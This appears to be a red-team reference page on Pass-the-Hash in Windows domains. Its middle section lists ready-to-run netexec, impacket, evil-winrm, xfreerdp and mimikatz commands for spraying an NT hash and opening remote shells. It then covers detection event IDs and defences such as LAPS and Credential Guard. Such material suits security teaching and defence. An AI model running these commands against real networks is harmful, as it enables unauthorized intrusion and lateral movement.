Pass-the-Hash

Pass-the-Hash (PtH) lets you authenticate using only the NT hash of a password, never the plaintext. It is the most direct way to move laterally in a domain once you hold a hash: no cracking required.

Why it works. NTLM authentication proves you know the password by using its NT hash as the key in a challenge-response, not the password itself. For NTLM, then, the hash is the password: whoever holds it can authenticate without ever knowing the cleartext. Hashes come from a DCSync, an LSASS dump, the local SAM, or an earlier secretsdump.

The abuse. Many tools accept a hash where they would normally take a password (-H or --hashes), over SMB, WMI or WinRM. The key move is usually to spray the hash across the network to see where that account is a local admin, which is what turns a hash into lateral movement.

# 1) spray the hash across a range and see where it grants local admin
netexec smb <range> -u <user> -H <NT-hash>

# 2) wherever it lands (Pwn3d!), pop a shell over whichever channel fits
evil-winrm -i <ip> -u <user> -H <NT-hash>
psexec.py   <domain>/<user>@<ip> -hashes :<NT-hash>
wmiexec.py  <domain>/<user>@<ip> -hashes :<NT-hash>
smbexec.py  <domain>/<user>@<ip> -hashes :<NT-hash>
atexec.py   <domain>/<user>@<ip> -hashes :<NT-hash> whoami
# MSSQL and RDP with the hash
mssqlclient.py <domain>/<user>@<ip> -hashes :<NT-hash> -windows-auth
xfreerdp /v:<ip> /u:<user> /pth:<NT-hash>
# on Windows, mimikatz spawns a process with the hash's identity
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<NT-hash> /run:cmd.exe

Verification. netexec's (Pwn3d!) or an actual shell is the proof the hash works on that host; it is not enough that authentication doesn't fail, confirm the level of access.

Nuance. PtH is an NTLM attack, not Kerberos: if the environment forces Kerberos or puts the account in the Protected Users group, the NT hash stops working (there you switch to overpass-the-hash with the Kerberos key). You never learn the password, so services that demand the cleartext (some web portals) are out of reach. And what makes a hash spread is local admin reuse across machines: if every box has a distinct local admin password (LAPS), the same hash won't open the next one. See credential reuse.

How to detect it. PtH is NTLM authentication, so it leaves an Event ID 4624 (logon) of type 3 (network) with Authentication Package NTLM and Logon Process NtLmSsp, accompanied on the DC by a 4776 (the computer attempted to validate the credentials for an account). The high-fidelity signals are: NTLM against a host where that account should use Kerberos, the same account authenticating over NTLM against many machines in a short window (the hash spray), and, at the source, a 4624 of type 9 with Logon Process seclogo (Mimikatz sekurlsa::pth launches the process with alternate credentials). A failed spray also scatters 4625 across several hosts.

Defence. LAPS so the local admin is unique per host, the Protected Users group and NTLM blocking on privileged accounts, LSASS protection / Credential Guard so hashes can't be dumped, and restricting where Tier-0 accounts log in so their hash never lands on a workstation.